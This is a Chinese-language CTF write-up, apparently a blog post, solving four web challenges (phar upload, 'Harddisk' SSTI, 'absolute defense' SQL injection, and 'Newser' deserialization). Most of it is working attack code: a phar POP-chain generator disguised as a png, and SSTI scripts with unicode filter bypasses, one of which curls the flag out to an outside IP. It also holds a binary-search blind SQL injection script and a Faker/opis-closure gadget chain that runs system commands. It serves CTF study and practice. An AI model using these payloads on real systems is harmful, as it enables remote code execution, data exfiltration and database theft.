Ez to getflag

这个题是文件上传

做的多了会发现文件上传一般都会出现任意文件文件读取,如果是黑盒的话。

这道题刚进去我就试了一下上传点,然后发现只能上传png格式的图片。

还有一个文件啊读取的功能。我试着读取那个我们上传的文件,发现也读取不了。

这种文件一般都不会说是让读取上传文件名字的试了一下经过md5加密过后的文件名,果然可以。

然后我犯了一个天大的错误在试文件读取的时候,没有直接/etc/passwd而是用了路径穿越。

没有读取出来,然后我就没有思路了。

最后看了一眼wp,才知道直接读取就行了。这是一个点吧。

这就有了第一个解也是非预期解

第二个解还是phar文件上传

先把源码读取出来

有个upload.php

<?php
error_reporting(0);
session_start();
require_once('class.php');
$upload = new Upload();
$upload->uploadfile();
?>

有个file.php

<?php
error_reporting(0);
session_start();
require_once('class.php');
$filename = $_GET['f'];
$show = new Show($filename);
$show->show();

还有个class.php

<?php
class Upload {
    public $f;
    public $fname;
    public $fsize;
    function __construct(){
        $this->f = $_FILES;
    }
    function savefile() {
        $fname = md5($this->f["file"]["name"]).".png";
        if(file_exists('./upload/'.$fname)) {
            @unlink('./upload/'.$fname);
        }
        move_uploaded_file($this->f["file"]["tmp_name"],"upload/" . $fname);
        echo "upload success! :D";
    }
    function __toString(){
        $cont = $this->fname;
        $size = $this->fsize;
        echo $cont->$size;
        return 'this_is_upload';
    }
    function uploadfile() {
        if($this->file_check()) {
            $this->savefile();
        }
    }
    function file_check() {
        $allowed_types = array("png");
        $temp = explode(".",$this->f["file"]["name"]);
        $extension = end($temp);
        if(empty($extension)) {
            echo "what are you uploaded? :0";
            return false;
        }
        else{
            if(in_array($extension,$allowed_types)) {
                $filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';
                $f = file_get_contents($this->f["file"]["tmp_name"]);
                if(preg_match_all($filter,$f)){
                    echo 'what are you doing!! :C';
                    return false;
                }
                return true;
            }
            else {
                echo 'png onlyyy! XP';
                return false;
            }
        }
    }
}
class Show{
    public $source;
    public function __construct($fname)
    {
        $this->source = $fname;
    }
    public function show()
    {
        if(preg_match('/http|https|file:|php:|gopher|dict|\.\./i',$this->source)) {
            die('illegal fname :P');
        } else {
            echo file_get_contents($this->source);
            $src = "data:jpg;base64,".base64_encode(file_get_contents($this->source));
            echo "<img src={$src} />";
        }

    }
    function __get($name)
    {
        $this->ok($name);
    }
    public function __call($name, $arguments)
    {
        if(end($arguments)=='phpinfo'){
            phpinfo();
        }else{
            $this->backdoor(end($arguments));
        }
        return $name;
    }
    public function backdoor($door){
        include($door);
        echo "hacked!!";
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            die("illegal fname XD");
        }
    }
}
class Test{
    public $str;
    public function __construct(){
        $this->str="It's works";
    }
    public function __destruct()
    {
        echo $this->str;
    }
}
?>

我们还是一个一个分析吧,先分析upload.php

这个确实是文件上传实例化一个新对象

跟进一下这个uploadfile()

调用了两个方法一个check函数一个是save保存函数

这个要以png结尾的还会检查文件内容

check过后就可以保存了

我们看一下保存的逻辑

保存就是把文件名以md5的形式保存。

看完这个之后我们看一下file的逻辑

实例化对象show调用show方法(),跟进一下show方法

也是过滤了一下

这里有个file_get_contents方法

又看没有过滤phar伪协议,正好这个函数可以触发phar伪协议

看看能不能利用反序列化审一下链子

这里有个include文件包含

看看能不能利用,我们反向推导一下

这里可以利用__call方法,调用不存在的方法时会触发__call方法

利用这个ok

看看get()方法如何触发

当访问不存在的方法时会触发这个魔术方法

利用这个可以触发__get方法

那就变成了触发__toStrwing方法

这个类里面正好有echo可以触发

我们正向整理一下

Test::__destruct()->Upload::__toString()->Show::->__get()->__call()->backdoor()->include() 

这就是我们的链子

<?php
class Upload {
    public $f;
    public $fname;
    public $fsize;

    function __toString(){
        $cont = $this->fname;
        $size = $this->fsize;
        echo $cont->$size;
        return 'this_is_upload';
    }

}
class Show{
    public $source;

    function __get($name)
    {
        $this->ok($name);
    }
    public function __call($name, $arguments)
    {
        if(end($arguments)=='phpinfo'){
            phpinfo();
        }else{
            $this->backdoor(end($arguments));
        }
        return $name;
    }
    public function backdoor($door){
    }
}
class Test{
    public $str;
    public function __destruct()
    {
        echo $this->str;
    }
}
$A = new Test();
$B = new Upload();
$A -> str = $B;
$C = new Show("ssss");
$B ->fname = $C;
$B ->fsize = "/flag";

$phar = new Phar('poc.phar');
$phar->stopBuffering();
$phar->setStub('GIF89a' . '<?php __HALT_COMPILER();?>');
$phar->addFromString('test.txt', 'test');
$phar->setMetadata($A);
$phar->stopBuffering();
?>

这个是poc生成phar文件

因为我们只能传入png文件所以我们压缩一下改一下结尾

import gzip

with open('poc.phar', 'rb') as file:
    f = file.read()

newf = gzip.compress(f)  # 对Phar文件进行gzip压缩
with open('poc.png', 'wb') as file:  # 更改文件后缀
    file.write(newf)

我们传入这个文件

md5加密一下

<?php
$str="poc.png";
echo md5($str);
#23f1a0f70f076b42b5b49f24ee28f696

最后进行文件读取

/file.php?f=phar://upload/23f1a0f70f076b42b5b49f24ee28f696.png&_=1713073174353

总结

最近做了较多的反序列化题,这种题重要的就是逻辑要搞清

链子要特别清晰每一步,最后整体的利用

Harddisk

这个题进去之后是一个表单

玩了几下没有什么东西

试一下ssti,发现有东西

没有给源码就是直接黑盒测试

直接焚靖一把梭试一下

工具就是爽

没回显考虑curl外带

第二种就是自己老老实实的构造

自己构造的化还是比较麻烦的

先fuzz一下过滤的东西

但是我没有fuzz字典,后面去收集一下

看大佬的wp,fazz了很多字符

}}, {{, ], [, ], ,  , +, , ., x, g, request, print, args, values, input, globals, getitem, class, mro, base, session, add, chr, ord, redirect, urlfor, popen, os, read, flag, config, builtins, get_flashed_messages, get, subclasses, form, cookies, headers

过滤{{}},我们可以用 {%print(......)%} 或 {% if ... %}1{% endif %} 的形式来代替

过滤print 关键字,则只能用 {% if ... %}success{% endif %} 的形式来bypass。因为无回显,所以要外带数据

过滤了 ]、_、request 这类常用的字符和关键字,可以用 attr() 配合 unicode 编码绕过

直接粘大佬的地址

import requests
 
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36'
}
cl = '\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f'  # __class__
ba = '\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f'  # __bases__
gi = '\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f'  # __getitem__
su = '\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f'  # __subclasses__
ii = '\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f'  # __init__
go = '\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f'  # __golobals__
po = '\\u0070\\u006f\\u0070\\u0065\\u006e'  # __popen__
 
for i in range(500):
    url = "http://e06dc629-8d8a-4165-9e03-7a4b5d4982a4.node5.buuoj.cn:81/"
    payload = {
        "nickname": '{%if(""|' +
                    f'attr("{cl}")' +
                    f'|attr("{ba}")' +
                    f'|attr("{gi}")(0)' +
                    f'|attr("{su}")()' +
                    f'|attr("{gi}")(' +
                    str(i) +
                    f')|attr("{ii}")' +
                    f'|attr("{go}")' +
                    f'|attr("{gi}")' +
                    f'("{po}"))' +
                    '%}success' +
                    '{%endif%}'
    }
 
    res = requests.post(url=url, headers=headers, data=payload)
    if 'success' in res.text:
        print(i)

数据外带

import requests
 
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36'
}
cl = '\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f'  # __class__
ba = '\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f'  # __bases__
gi = '\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f'  # __getitem__
su = '\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f'  # __subclasses__
ii = '\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f'  # __init__
go = '\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f'  # __golobals__
po = '\\u0070\\u006f\\u0070\\u0065\\u006e'  # __popen__
cmd = '\\u0063\\u0075\\u0072\\u006c\\u0020\\u0031\\u0032\\u0034\\u002e\\u0032\\u0032\\u0032\\u002e\\u0031\\u0033\\u0036\\u002e\\u0033\\u0033\\u003a\\u0031\\u0033\\u0033\\u0037\\u003f\\u0066\\u006c\\u0061\\u0067\\u003d\\u0060\\u0063\\u0061\\u0074\\u0020\\u002f\\u0066\\u0031\\u0061\\u0067\\u0067\\u0067\\u0067\\u0068\\u0065\\u0072\\u0065\\u0060'
# curl 124.222.136.33:1337?flag=`cat /f1agggghere`
i = 132
url = "http://e06dc629-8d8a-4165-9e03-7a4b5d4982a4.node5.buuoj.cn:81/"
payload = {
    "nickname": '{%if(""|' +
                f'attr("{cl}")' +
                f'|attr("{ba}")' +
                f'|attr("{gi}")(0)' +
                f'|attr("{su}")()' +
                f'|attr("{gi}")(' +
                str(i) +
                f')|attr("{ii}")' +
                f'|attr("{go}")' +
                f'|attr("{gi}")' +
                f'("{po}"))' +
                f'("{cmd}")' +
                '%}success' +
                '{%endif%}'
}
 
res = requests.post(url=url, headers=headers, data=payload)

回去监听就行

绝对防御

点进去确实和名字一样叫做绝对防御,就一张图片

我想图片能有什么漏洞,我更专注于什么版本漏洞或者说是一些nginx漏洞php版本漏洞什么的

后来看了wp才知道,这个从js文件里面搜索子域名,第一次才知道这个工具

JSFinder

直接跑工具就可以知道子域名了

最后一个好像有点东西

访问看看

function getQueryVariable(variable)
{
       var query = window.location.search.substring(1);
       var vars = query.split("&");
       for (var i=0;i<vars.length;i++) {
               var pair = vars[i].split("=");
               if(pair[0] == variable){return pair[1];}
       }
       return(false);
}

function check(){
		var reg = /[`~!@#$%^&*()_+<>?:"{},.\/;'[\]]/im;
        if (reg.test(getQueryVariable("id"))) {
            alert("提示:您输入的信息含有非法字符!");
            window.location.href = "/"
         }
}
check()

前端过滤我们可以禁掉js

不知道为什么参数是id,但是传入id有回显

传入id=2

经过测试发现可以布尔盲注

上脚本

import requests

url = "http://471861d3-8a4e-4adf-ab48-9b4d5c0d3f4c.node5.buuoj.cn:81/SUPPERAPI.php?id="
flag = ''
for i in range(1, 200):
    print("------------------" + str(i) + "------------------")
    low = 32
    high = 128
    mid = (low + high) // 2
    while low < high:
        # ctf
        #paylaod="2 and ascii(substr((select database()),{},1))>{}".format(i,mid)
        # user
        #paylaod = "2 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}".format(i, mid)
        # id,username,password,ip,time,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password
        #paylaod = "2 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{},1))>{}".format(i, mid)
        # admin123!,DASCTF{1436c038-a5ac-42a6-bb8b-e34a4769b7fe}
       # paylaod = "2 and ascii(substr((select group_concat(password) from users),{},1))>{}".format(i, mid)
        r = requests.get(url + paylaod)
        # print(str(low) + ':' + str(mid) + ':' + str(high))
        if "flag" in r.text:
            # print(r.text)
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    if mid == 32 or mid == 127:
        break
    flag += chr(mid)
    print(flag)
 admin123!,DASCTF{1436c038-a5ac-42a6-bb8b-e34a4769b7fe}

总结

第一次知道了js文件中也会有子域名和url,学到了

Newser

前言

复现完这道题确实是知道了很多东西

开始是只有一个类,原本以为又是一个简单的反序列化,但是就一个类,就没有了思路。

看了大佬的wp才知道,存在Composer配置文件泄露,这个没见过。

我理解的Composer是一个第三方库,像python一样,我们可以下载这个库来使用

Composer的配置文件中是一个json文件

{
  "require": {
    "fakerphp/faker": "^1.19",
    "opis/closure": "^3.6"
  }
}

像这样的

我们可以看到这道题存在Composer配置文件泄露

我们可以看到引入的第三方依赖库

网上下载下来看看有没有什么可以利用的,注意一点的是这些依赖库都是在vendor文件下的

因为给我们的User类只有__destruct()方法可以用

看到调用属性

我们想到了可以触发__get方法,全局看一下有没有__get方法

我们发现在Generator.php有一个__get()方法我们可以利用

我们跟进一下这个format()方法

这里有个这个函数,这个函数里面的是一个回调函数

但是回调函数不能序列化

我们要利用这个的化就要用导包,正好在composer的依赖库里面有opis/closure这个

这个里面有序列化函数

我们利用里面的序列化函数进行序列化就解决这个问题啦

到后面我们看一下这个hui'd

这个函数里面有这个属性我们可以利用这个属性进行命令执行,因为这个属性我们是可控的

但是我们看一下这个类的wakeup方法

他会有个置空操作,那我们就要想办法来绕过这个wakeup

通过抓包我们知道了这个是php8版本的

那我们就用引用绕过,在php5或者php7版本我们可以通过属性加一绕过

在php8版本我们通过引用绕过

通过一个符号,将两个属性绑定在一起,用C语言理解就是指向同一个指针

$a=new D();
$a->str1=&$a->str2;
#这样str1永远等于str2;

这样子我们就可以绕过wakeup

现在我们理一下链子

User::__destruct()->Generator::->get()->format()->getFormatter()

先把poc放到这里

<?php
namespace {
    include("vendor/autoload.php");
    class User{
        protected $_password;
        public $password;
        private $instance;

        public function __construct(){
            $func = function (){
                system("ls /");
            };
            $b=\Opis\Closure\serialize($func);
            $c=unserialize($b);
            $this->instance = new Faker\Generator($this);
            $this->_password = ["_username"=>$c];
        }

    }
    $payload=str_replace("s:8:\"password\"","s:14:\"".urldecode("%00")."User".urldecode("%00")."password\"",serialize(new User()));
//    echo $payload;
    echo base64_encode($payload);
}

namespace Faker{
    class Generator{
        protected $formatters;

        public function __construct($obj){
            $this->formatters = &$obj->password;
        }
    }
}

我们先包含这个vendor/autoload.php,这个会自动导入依赖库

我们在析构方法里面定义了一个函数,作为回调函数来导入

引入包来进行序列化,最后常规的反序列化就行了,然后我们new一下Generator来触发get方法

里面传入User类自己,然后将_password设置和_username一样为反序列化的$c,就是经过处理的回调函数

下面是Generator类,这里的析构方法通过引用让formatters属性和_password一样,来绕过wakeup。

还有一点需要注意的是,这个_password是protected我们先把他变成public,在序列化完成之后,在变成protected

最后就传入cookie就可以啦

总结

学习了一个新的知识点,就是composer,对闭包函数理解更加深刻了